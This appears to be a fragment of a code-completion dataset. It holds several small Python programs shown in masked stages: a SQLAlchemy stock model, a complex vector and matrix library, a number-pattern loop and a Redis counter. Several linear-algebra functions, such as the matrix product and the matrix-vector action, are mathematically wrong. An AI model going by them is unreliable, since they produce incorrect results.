user = relationship('User')\n\n def __json__(self, _):\n return {'id': self.id, 'name': self.name}\n", "step-4": "<mask token>\n\n\nclass Stock(Base, BaseModel):\n __tablename__ = 'stock'\n name = Column(String(255), nullable=False)\n starting_price = Column(Float, nullable=False)\n current_price = Column(Float, nullable=False)\n max_price = Column(Float, nullable=True)\n min_price = Column(Float, nullable=True)\n starting_stock = Column(Integer, nullable=True)\n current_stock = Column(Integer, nullable=True)\n stock_type_id = Column(UUID(as_uuid=True), ForeignKey('stock_type.id'))\n stock_type = relationship('StockType', back_ref='stocks')\n user_id = Column(UUID(as_uuid=True), ForeignKey('user.id'))\n user = relationship('User')\n\n def __json__(self, _):\n return {'id': self.id, 'name': self.name, 'starting_price': self.\n starting_price, 'current_price': self.current_price,\n 'max_price': self.max_price, 'min_price': self.min_price,\n 'starting_stock': self.starting_stock, 'current_stock': self.\n current_stock}\n\n\nclass StockType(Base, BaseModel):\n __tablename__ = 'stock_type'\n name = Column(String(255), nullable=False)\n stocks = relationship('Stock', back_ref='stock_type')\n user_id = Column(UUID(as_uuid=True), ForeignKey('user.id'))\n user = relationship('User')\n\n def __json__(self, _):\n return {'id': self.id, 'name': self.name}\n", "step-5": "from sqlalchemy import (Column, Integer, Float, String, ForeignKey)\nfrom sqlalchemy.dialects.postgresql import UUID\nfrom sqlalchemy.orm import relationship\n\nfrom .meta import Base, BaseModel\n\n\nclass Stock(Base, BaseModel):\n __tablename__ = 'stock'\n\n name = Column(String(255), nullable=False)\n starting_price = Column(Float, nullable=False)\n current_price = Column(Float, nullable=False)\n max_price = Column(Float, nullable=True)\n min_price = Column(Float, nullable=True)\n starting_stock = Column(Integer, nullable=True)\n current_stock = Column(Integer, nullable=True)\n\n stock_type_id = Column(UUID(as_uuid=True), ForeignKey('stock_type.id'))\n stock_type = relationship('StockType', back_ref='stocks')\n\n user_id = Column(UUID(as_uuid=True), ForeignKey('user.id'))\n user = relationship('User')\n\n def __json__(self, _):\n return {\n \"id\": self.id,\n \"name\": self.name,\n \"starting_price\": self.starting_price,\n \"current_price\": self.current_price,\n \"max_price\": self.max_price,\n \"min_price\": self.min_price,\n \"starting_stock\": self.starting_stock,\n \"current_stock\": self.current_stock\n }\n\n\nclass StockType(Base, BaseModel):\n __tablename__ = 'stock_type'\n\n name = Column(String(255), nullable=False)\n stocks = relationship('Stock', back_ref='stock_type')\n\n user_id = Column(UUID(as_uuid=True), ForeignKey('user.id'))\n user = relationship('User')\n\n def __json__(self, _):\n return {\n \"id\": self.id,\n \"name\": self.name\n }\n", "step-ids": [ 2, 3, 5, 6, 8 ] }
[ 2, 3, 5, 6, 8 ]
<|reserved_special_token_0|> def adVector(v, w): n = len(v) r = [] for k in range(n): r += [lc.cplxsum(v[k], w[k])] return r <|reserved_special_token_0|> def MultEscalarVector(v, w): n = len(w) r = [] for k in range(n): r += [lc.cplxproduct(v, w[k])] return r def sumaMatrix(v, w): m = len(w) n = len(v[0]) fila = [] r = [fila] * m for j in range(m): fila = [] r[j] = fila for k in range(n): r += [lc.cplxsum(v[j][k], w[j][k])] return r def invAdMtx(v): m = len(v) n = len(v[0]) r = [n] * m for j in range(m): fila = [] r[j] = fila for k in range(n): r[j] += [lc.cplxproduct((-1, 0), v[j][k])] return r def MultEscMtx(v, w): m = len(w) n = len(w[0]) r = [n] * m for j in range(n): fila = [] r[j] = fila for k in range(m): r[j] += [lc.cplxproduct(v, w[j][k])] return r <|reserved_special_token_0|> def ProdMtx(A, B): m = len(A) n = len(A[0]) fila = [(0, 0)] * n r = [fila] * m for j in range(m): fila = [(0, 0)] * n r[j] = fila for k in range(n): r[j][k] = lc.cplxproduct(A[j][k], B[j][k]) return r def MtxVec(A, B): m = len(A) n = len(A[0]) fila = [(0, 0)] * n r = [fila] * m for j in range(m): fila = [(0, 0)] * n r[j] = fila for k in range(n): r[j][k] = lc.cplxproduct(A[j][k], B[j][k]) return r def vectorPrInt(v): r = int(lc.cplxmod(v) ** 2) return r def vectorNorm(v): r = int(lc.cplxmod(v)) return r def disV(v, w): ele = 0 s = 0 for i in range(len(v)): ele = v[i] - w[i] ele = ele ** 2 s += ele n = s ** (1 / 2) return n <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def adVector(v, w): n = len(v) r = [] for k in range(n): r += [lc.cplxsum(v[k], w[k])] return r def invVector(v): n = len(v) r = [] for k in range(n): r += [lc.cplxproduct((-1, 0), v[k])] return r def MultEscalarVector(v, w): n = len(w) r = [] for k in range(n): r += [lc.cplxproduct(v, w[k])] return r def sumaMatrix(v, w): m = len(w) n = len(v[0]) fila = [] r = [fila] * m for j in range(m): fila = [] r[j] = fila for k in range(n): r += [lc.cplxsum(v[j][k], w[j][k])] return r def invAdMtx(v): m = len(v) n = len(v[0]) r = [n] * m for j in range(m): fila = [] r[j] = fila for k in range(n): r[j] += [lc.cplxproduct((-1, 0), v[j][k])] return r def MultEscMtx(v, w): m = len(w) n = len(w[0]) r = [n] * m for j in range(n): fila = [] r[j] = fila for k in range(m): r[j] += [lc.cplxproduct(v, w[j][k])] return r def trMtx(v): m = len(v) n = len(v[0]) r = [n] * m for j in range(n): fila = [] r[j] = fila for k in range(m): r[j] += [v[k][j]] return r <|reserved_special_token_0|> def ProdMtx(A, B): m = len(A) n = len(A[0]) fila = [(0, 0)] * n r = [fila] * m for j in range(m): fila = [(0, 0)] * n r[j] = fila for k in range(n): r[j][k] = lc.cplxproduct(A[j][k], B[j][k]) return r def MtxVec(A, B): m = len(A) n = len(A[0]) fila = [(0, 0)] * n r = [fila] * m for j in range(m): fila = [(0, 0)] * n r[j] = fila for k in range(n): r[j][k] = lc.cplxproduct(A[j][k], B[j][k]) return r def vectorPrInt(v): r = int(lc.cplxmod(v) ** 2) return r def vectorNorm(v): r = int(lc.cplxmod(v)) return r def disV(v, w): ele = 0 s = 0 for i in range(len(v)): ele = v[i] - w[i] ele = ele ** 2 s += ele n = s ** (1 / 2) return n def hermMtx(v): if adjMtx(v) == v: return True <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def adVector(v, w): n = len(v) r = [] for k in range(n): r += [lc.cplxsum(v[k], w[k])] return r def invVector(v): n = len(v) r = [] for k in range(n): r += [lc.cplxproduct((-1, 0), v[k])] return r def MultEscalarVector(v, w): n = len(w) r = [] for k in range(n): r += [lc.cplxproduct(v, w[k])] return r def sumaMatrix(v, w): m = len(w) n = len(v[0]) fila = [] r = [fila] * m for j in range(m): fila = [] r[j] = fila for k in range(n): r += [lc.cplxsum(v[j][k], w[j][k])] return r def invAdMtx(v): m = len(v) n = len(v[0]) r = [n] * m for j in range(m): fila = [] r[j] = fila for k in range(n): r[j] += [lc.cplxproduct((-1, 0), v[j][k])] return r def MultEscMtx(v, w): m = len(w) n = len(w[0]) r = [n] * m for j in range(n): fila = [] r[j] = fila for k in range(m): r[j] += [lc.cplxproduct(v, w[j][k])] return r def trMtx(v): m = len(v) n = len(v[0]) r = [n] * m for j in range(n): fila = [] r[j] = fila for k in range(m): r[j] += [v[k][j]] return r <|reserved_special_token_0|> def ProdMtx(A, B): m = len(A) n = len(A[0]) fila = [(0, 0)] * n r = [fila] * m for j in range(m): fila = [(0, 0)] * n r[j] = fila for k in range(n): r[j][k] = lc.cplxproduct(A[j][k], B[j][k]) return r def MtxVec(A, B): m = len(A) n = len(A[0]) fila = [(0, 0)] * n r = [fila] * m for j in range(m): fila = [(0, 0)] * n r[j] = fila for k in range(n): r[j][k] = lc.cplxproduct(A[j][k], B[j][k]) return r def vectorPrInt(v): r = int(lc.cplxmod(v) ** 2) return r def vectorNorm(v): r = int(lc.cplxmod(v)) return r def disV(v, w): ele = 0 s = 0 for i in range(len(v)): ele = v[i] - w[i] ele = ele ** 2 s += ele n = s ** (1 / 2) return n def hermMtx(v): if adjMtx(v) == v: return True def vectorTsorProduct(A, B): na = len(A) nb = len(B) nr = nb * na R = [(0, 0)] * nr index = 0 for j in range(na): for k in range(nb): R[index] = MultEscalarVector(A[j], B[k]) index = index + 1 return R <|reserved_special_token_1|> <|reserved_special_token_0|> def adVector(v, w): n = len(v) r = [] for k in range(n): r += [lc.cplxsum(v[k], w[k])] return r def invVector(v): n = len(v) r = [] for k in range(n): r += [lc.cplxproduct((-1, 0), v[k])] return r def MultEscalarVector(v, w): n = len(w) r = [] for k in range(n): r += [lc.cplxproduct(v, w[k])] return r def sumaMatrix(v, w): m = len(w) n = len(v[0]) fila = [] r = [fila] * m for j in range(m): fila = [] r[j] = fila for k in range(n): r += [lc.cplxsum(v[j][k], w[j][k])] return r def invAdMtx(v): m = len(v) n = len(v[0]) r = [n] * m for j in range(m): fila = [] r[j] = fila for k in range(n): r[j] += [lc.cplxproduct((-1, 0), v[j][k])] return r def MultEscMtx(v, w): m = len(w) n = len(w[0]) r = [n] * m for j in range(n): fila = [] r[j] = fila for k in range(m): r[j] += [lc.cplxproduct(v, w[j][k])] return r def trMtx(v): m = len(v) n = len(v[0]) r = [n] * m for j in range(n): fila = [] r[j] = fila for k in range(m): r[j] += [v[k][j]] return r <|reserved_special_token_0|> def adjMtx(A): n = len(A) m = len(A[0]) r = [n] * m for j in range(n): fila = [] * n r[j] = fila for k in range(m): r[j] += [lc.cplxconj((-1, 0), A[k][j])] return r def ProdMtx(A, B): m = len(A) n = len(A[0]) fila = [(0, 0)] * n r = [fila] * m for j in range(m): fila = [(0, 0)] * n r[j] = fila for k in range(n): r[j][k] = lc.cplxproduct(A[j][k], B[j][k]) return r def MtxVec(A, B): m = len(A) n = len(A[0]) fila = [(0, 0)] * n r = [fila] * m for j in range(m): fila = [(0, 0)] * n r[j] = fila for k in range(n): r[j][k] = lc.cplxproduct(A[j][k], B[j][k]) return r def vectorPrInt(v): r = int(lc.cplxmod(v) ** 2) return r def vectorNorm(v): r = int(lc.cplxmod(v)) return r def disV(v, w): ele = 0 s = 0 for i in range(len(v)): ele = v[i] - w[i] ele = ele ** 2 s += ele n = s ** (1 / 2) return n def hermMtx(v): if adjMtx(v) == v: return True def vectorTsorProduct(A, B): na = len(A) nb = len(B) nr = nb * na R = [(0, 0)] * nr index = 0 for j in range(na): for k in range(nb): R[index] = MultEscalarVector(A[j], B[k]) index = index + 1 return R <|reserved_special_token_1|> import Libcplx as lc # 1.Adición de vectores complejos def adVector(v, w): n = len(v) r = [] for k in range(n): r += [lc.cplxsum(v[k], w[k])] return r # 2.Inverso (aditivo) de un vector complejo def invVector(v): n = len(v) r = [] for k in range(n): r += [lc.cplxproduct((-1, 0), v[k])] return r # 3.Multiplicación de un escalar complejo def MultEscalarVector(v, w): n = len(w) r = [] for k in range(n): r += [lc.cplxproduct(v, w[k])] return r # 4.Adición de matrices complejas def sumaMatrix(v, w): m = len(w) n = len(v[0]) fila = [] r = [fila] * m for j in range(m): fila = [] r[j] = fila for k in range(n): r += [lc.cplxsum(v[j][k], w[j][k])] return r # 5.Inversa (aditiva) de una matriz compleja def invAdMtx(v): m = len(v) n = len(v[0]) r = [n] * m for j in range(m): fila = [] r[j] = fila for k in range(n): r[j] += [lc.cplxproduct((-1,0), v[j][k])] return r # 6. Multiplicación de un escalar por una matriz compleja def MultEscMtx(v, w): m = len(w) n = len(w[0]) r = [n] * m for j in range(n): fila = [] r[j] = fila for k in range(m): r[j] += [lc.cplxproduct(v, w[j][k])] return r # 7. Transpuesta de una matriz/vector def trMtx(v): m = len(v) n = len(v[0]) r = [n] * m for j in range(n): fila = [] r[j] = fila for k in range(m): r[j] += [v[k][j]] return r # 8. Conjugada de una matriz/vector def conjMtx(A): m = len(A) n = len(A[0]) r = [n] * m for j in range(n): fila = [] r[j] = fila for k in range(m): r[j] += [lc.cplxconj((-1,0), A[j][k])] return r # 9.Adjunta (daga) de una matriz/vector def adjMtx(A): n = len(A) m = len(A[0]) r = [n] * m for j in range(n): fila = [] * n r[j] = fila for k in range(m): r[j] += [lc.cplxconj((-1,0), A[k][j])] return r # 10.Producto de dos matrices (de tamaños compatibles) def ProdMtx(A, B): m = len(A) n = len(A[0]) fila = [(0, 0)] * n r = [fila] * m for j in range(m): fila = [(0, 0)] * n r[j] = fila for k in range(n): r[j][k] = lc.cplxproduct(A[j][k], B[j][k]) return r # 11. Función para calcular la "acción" de una matriz sobre un vector def MtxVec(A, B): m = len(A) n = len(A[0]) fila = [(0, 0)] * n r = [fila] * m for j in range(m): fila = [(0, 0)] * n r[j] = fila for k in range(n): r[j][k] = lc.cplxproduct(A[j][k], B[j][k]) return r # 12. Producto interno de dos vectores def vectorPrInt(v): r = int(lc.cplxmod(v) ** 2) return r # 13. Norma de un vector def vectorNorm(v): r = int(lc.cplxmod(v)) return r # 14. Distancia entre dos vectores def disV(v,w): ele = 0 s = 0 for i in range(len(v)): ele = v[i]-w[i] ele = ele**2 s += ele n = s ** (1/2) return n # 15. Revisar si una matriz es unitaria # 16. Revisar si una matriz es Hermitiana def hermMtx(v): if adjMtx(v) == v: return True # 17. Producto tensor de dos matrices/vectores def vectorTsorProduct(A, B): na = len(A) nb = len(B) nr = nb * na R = [(0, 0)] * nr index = 0 for j in range(na): for k in range(nb): R[index] = MultEscalarVector(A[j], B[k]) index = index + 1 return R # print(adVector(v,w)) # print(invVector(v)) # print(MultEscalarVector(v,w)) # print(sumaMatrix(v,w)) # print(InvAdMtx(v,w)) # print(MultEscMtx(v,w)) # print(trMtx(v))
flexible
{ "blob_id": "5f242ae801a239dde6a22e4fb68b4ef4b2459be6", "index": 2599, "step-1": "<mask token>\n\n\ndef adVector(v, w):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxsum(v[k], w[k])]\n return r\n\n\n<mask token>\n\n\ndef MultEscalarVector(v, w):\n n = len(w)\n r = []\n for k in range(n):\n r += [lc.cplxproduct(v, w[k])]\n return r\n\n\ndef sumaMatrix(v, w):\n m = len(w)\n n = len(v[0])\n fila = []\n r = [fila] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r += [lc.cplxsum(v[j][k], w[j][k])]\n return r\n\n\ndef invAdMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r[j] += [lc.cplxproduct((-1, 0), v[j][k])]\n return r\n\n\ndef MultEscMtx(v, w):\n m = len(w)\n n = len(w[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxproduct(v, w[j][k])]\n return r\n\n\n<mask token>\n\n\ndef ProdMtx(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef MtxVec(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef vectorPrInt(v):\n r = int(lc.cplxmod(v) ** 2)\n return r\n\n\ndef vectorNorm(v):\n r = int(lc.cplxmod(v))\n return r\n\n\ndef disV(v, w):\n ele = 0\n s = 0\n for i in range(len(v)):\n ele = v[i] - w[i]\n ele = ele ** 2\n s += ele\n n = s ** (1 / 2)\n return n\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef adVector(v, w):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxsum(v[k], w[k])]\n return r\n\n\ndef invVector(v):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxproduct((-1, 0), v[k])]\n return r\n\n\ndef MultEscalarVector(v, w):\n n = len(w)\n r = []\n for k in range(n):\n r += [lc.cplxproduct(v, w[k])]\n return r\n\n\ndef sumaMatrix(v, w):\n m = len(w)\n n = len(v[0])\n fila = []\n r = [fila] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r += [lc.cplxsum(v[j][k], w[j][k])]\n return r\n\n\ndef invAdMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r[j] += [lc.cplxproduct((-1, 0), v[j][k])]\n return r\n\n\ndef MultEscMtx(v, w):\n m = len(w)\n n = len(w[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxproduct(v, w[j][k])]\n return r\n\n\ndef trMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [v[k][j]]\n return r\n\n\n<mask token>\n\n\ndef ProdMtx(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef MtxVec(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef vectorPrInt(v):\n r = int(lc.cplxmod(v) ** 2)\n return r\n\n\ndef vectorNorm(v):\n r = int(lc.cplxmod(v))\n return r\n\n\ndef disV(v, w):\n ele = 0\n s = 0\n for i in range(len(v)):\n ele = v[i] - w[i]\n ele = ele ** 2\n s += ele\n n = s ** (1 / 2)\n return n\n\n\ndef hermMtx(v):\n if adjMtx(v) == v:\n return True\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef adVector(v, w):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxsum(v[k], w[k])]\n return r\n\n\ndef invVector(v):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxproduct((-1, 0), v[k])]\n return r\n\n\ndef MultEscalarVector(v, w):\n n = len(w)\n r = []\n for k in range(n):\n r += [lc.cplxproduct(v, w[k])]\n return r\n\n\ndef sumaMatrix(v, w):\n m = len(w)\n n = len(v[0])\n fila = []\n r = [fila] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r += [lc.cplxsum(v[j][k], w[j][k])]\n return r\n\n\ndef invAdMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r[j] += [lc.cplxproduct((-1, 0), v[j][k])]\n return r\n\n\ndef MultEscMtx(v, w):\n m = len(w)\n n = len(w[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxproduct(v, w[j][k])]\n return r\n\n\ndef trMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [v[k][j]]\n return r\n\n\n<mask token>\n\n\ndef ProdMtx(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef MtxVec(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef vectorPrInt(v):\n r = int(lc.cplxmod(v) ** 2)\n return r\n\n\ndef vectorNorm(v):\n r = int(lc.cplxmod(v))\n return r\n\n\ndef disV(v, w):\n ele = 0\n s = 0\n for i in range(len(v)):\n ele = v[i] - w[i]\n ele = ele ** 2\n s += ele\n n = s ** (1 / 2)\n return n\n\n\ndef hermMtx(v):\n if adjMtx(v) == v:\n return True\n\n\ndef vectorTsorProduct(A, B):\n na = len(A)\n nb = len(B)\n nr = nb * na\n R = [(0, 0)] * nr\n index = 0\n for j in range(na):\n for k in range(nb):\n R[index] = MultEscalarVector(A[j], B[k])\n index = index + 1\n return R\n", "step-4": "<mask token>\n\n\ndef adVector(v, w):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxsum(v[k], w[k])]\n return r\n\n\ndef invVector(v):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxproduct((-1, 0), v[k])]\n return r\n\n\ndef MultEscalarVector(v, w):\n n = len(w)\n r = []\n for k in range(n):\n r += [lc.cplxproduct(v, w[k])]\n return r\n\n\ndef sumaMatrix(v, w):\n m = len(w)\n n = len(v[0])\n fila = []\n r = [fila] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r += [lc.cplxsum(v[j][k], w[j][k])]\n return r\n\n\ndef invAdMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r[j] += [lc.cplxproduct((-1, 0), v[j][k])]\n return r\n\n\ndef MultEscMtx(v, w):\n m = len(w)\n n = len(w[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxproduct(v, w[j][k])]\n return r\n\n\ndef trMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [v[k][j]]\n return r\n\n\n<mask token>\n\n\ndef adjMtx(A):\n n = len(A)\n m = len(A[0])\n r = [n] * m\n for j in range(n):\n fila = [] * n\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxconj((-1, 0), A[k][j])]\n return r\n\n\ndef ProdMtx(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef MtxVec(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef vectorPrInt(v):\n r = int(lc.cplxmod(v) ** 2)\n return r\n\n\ndef vectorNorm(v):\n r = int(lc.cplxmod(v))\n return r\n\n\ndef disV(v, w):\n ele = 0\n s = 0\n for i in range(len(v)):\n ele = v[i] - w[i]\n ele = ele ** 2\n s += ele\n n = s ** (1 / 2)\n return n\n\n\ndef hermMtx(v):\n if adjMtx(v) == v:\n return True\n\n\ndef vectorTsorProduct(A, B):\n na = len(A)\n nb = len(B)\n nr = nb * na\n R = [(0, 0)] * nr\n index = 0\n for j in range(na):\n for k in range(nb):\n R[index] = MultEscalarVector(A[j], B[k])\n index = index + 1\n return R\n", "step-5": "import Libcplx as lc\n\n\n# 1.Adición de vectores complejos\ndef adVector(v, w):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxsum(v[k], w[k])]\n return r\n\n\n# 2.Inverso (aditivo) de un vector complejo\ndef invVector(v):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxproduct((-1, 0), v[k])]\n return r\n\n\n# 3.Multiplicación de un escalar complejo\ndef MultEscalarVector(v, w):\n n = len(w)\n r = []\n for k in range(n):\n r += [lc.cplxproduct(v, w[k])]\n return r\n\n\n# 4.Adición de matrices complejas\ndef sumaMatrix(v, w):\n m = len(w)\n n = len(v[0])\n fila = []\n r = [fila] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r += [lc.cplxsum(v[j][k], w[j][k])]\n return r\n\n\n# 5.Inversa (aditiva) de una matriz compleja\ndef invAdMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r[j] += [lc.cplxproduct((-1,0), v[j][k])]\n return r\n\n\n# 6. Multiplicación de un escalar por una matriz compleja\ndef MultEscMtx(v, w):\n m = len(w)\n n = len(w[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxproduct(v, w[j][k])]\n return r\n\n\n# 7. Transpuesta de una matriz/vector\ndef trMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [v[k][j]]\n return r\n\n\n# 8. Conjugada de una matriz/vector\ndef conjMtx(A):\n m = len(A)\n n = len(A[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxconj((-1,0), A[j][k])]\n return r\n\n\n# 9.Adjunta (daga) de una matriz/vector\ndef adjMtx(A):\n n = len(A)\n m = len(A[0])\n r = [n] * m\n for j in range(n):\n fila = [] * n\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxconj((-1,0), A[k][j])]\n\n return r\n\n\n# 10.Producto de dos matrices (de tamaños compatibles)\ndef ProdMtx(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\n# 11. Función para calcular la \"acción\" de una matriz sobre un vector\ndef MtxVec(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\n# 12. Producto interno de dos vectores\ndef vectorPrInt(v):\n r = int(lc.cplxmod(v) ** 2)\n return r\n\n\n# 13. Norma de un vector\ndef vectorNorm(v):\n r = int(lc.cplxmod(v))\n return r\n\n\n# 14. Distancia entre dos vectores\ndef disV(v,w):\n ele = 0\n s = 0\n for i in range(len(v)):\n ele = v[i]-w[i]\n ele = ele**2\n s += ele\n n = s ** (1/2)\n return n\n\n\n# 15. Revisar si una matriz es unitaria\n\n\n\n# 16. Revisar si una matriz es Hermitiana\ndef hermMtx(v):\n if adjMtx(v) == v:\n return True\n\n\n# 17. Producto tensor de dos matrices/vectores\ndef vectorTsorProduct(A, B):\n na = len(A)\n nb = len(B)\n nr = nb * na\n R = [(0, 0)] * nr\n index = 0\n for j in range(na):\n for k in range(nb):\n R[index] = MultEscalarVector(A[j], B[k])\n index = index + 1\n return R\n\n # print(adVector(v,w))\n # print(invVector(v))\n # print(MultEscalarVector(v,w))\n # print(sumaMatrix(v,w))\n # print(InvAdMtx(v,w))\n # print(MultEscMtx(v,w))\n # print(trMtx(v))", "step-ids": [ 10, 13, 14, 15, 18 ] }
[ 10, 13, 14, 15, 18 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for row in range(num, 0, -1): for col in range(row, 0, -1): print(a, end='') a -= 1 print() <|reserved_special_token_1|> num = 5 a = 5 for row in range(num, 0, -1): for col in range(row, 0, -1): print(a, end='') a -= 1 print() <|reserved_special_token_1|> num=5 a=5 for row in range(num,0,-1): for col in range(row,0,-1): print(a,end="") a-=1 print()
flexible
{ "blob_id": "a567a2dc1dbb59979d849a5a772e4592910a9f27", "index": 2783, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor row in range(num, 0, -1):\n for col in range(row, 0, -1):\n print(a, end='')\n a -= 1\n print()\n", "step-3": "num = 5\na = 5\nfor row in range(num, 0, -1):\n for col in range(row, 0, -1):\n print(a, end='')\n a -= 1\n print()\n", "step-4": "num=5\r\na=5\r\nfor row in range(num,0,-1):\r\n for col in range(row,0,-1):\r\n print(a,end=\"\")\r\n a-=1\r\n print()", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> r.set('counter', 40) print(r.get('counter')) print(r.incr('counter')) print(r.incr('counter')) print(r.get('counter')) <|reserved_special_token_1|> <|reserved_special_token_0|> r = redis.StrictRedis() r.set('counter', 40) print(r.get('counter')) print(r.incr('counter')) print(r.incr('counter')) print(r.get('counter')) <|reserved_special_token_1|> import redis r = redis.StrictRedis() r.set('counter', 40) print(r.get('counter')) print(r.incr('counter')) print(r.incr('counter')) print(r.get('counter')) <|reserved_special_token_1|> import redis r = redis.StrictRedis() r.set("counter", 40) print(r.get("counter")) print(r.incr("counter")) print(r.incr("counter")) print(r.get("counter"))
flexible
{ "blob_id": "b38c9357030b2eac8298743cfb4d6c4d58c99ed4", "index": 7463, "step-1": "<mask token>\n", "step-2": "<mask token>\nr.set('counter', 40)\nprint(r.get('counter'))\nprint(r.incr('counter'))\nprint(r.incr('counter'))\nprint(r.get('counter'))\n", "step-3": "<mask token>\nr = redis.StrictRedis()\nr.set('counter', 40)\nprint(r.get('counter'))\nprint(r.incr('counter'))\nprint(r.incr('counter'))\nprint(r.get('counter'))\n", "step-4": "import redis\nr = redis.StrictRedis()\nr.set('counter', 40)\nprint(r.get('counter'))\nprint(r.incr('counter'))\nprint(r.incr('counter'))\nprint(r.get('counter'))\n", "step-5": "import redis\nr = redis.StrictRedis()\n\nr.set(\"counter\", 40) \nprint(r.get(\"counter\"))\nprint(r.incr(\"counter\"))\nprint(r.incr(\"counter\"))\nprint(r.get(\"counter\"))\n\n\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
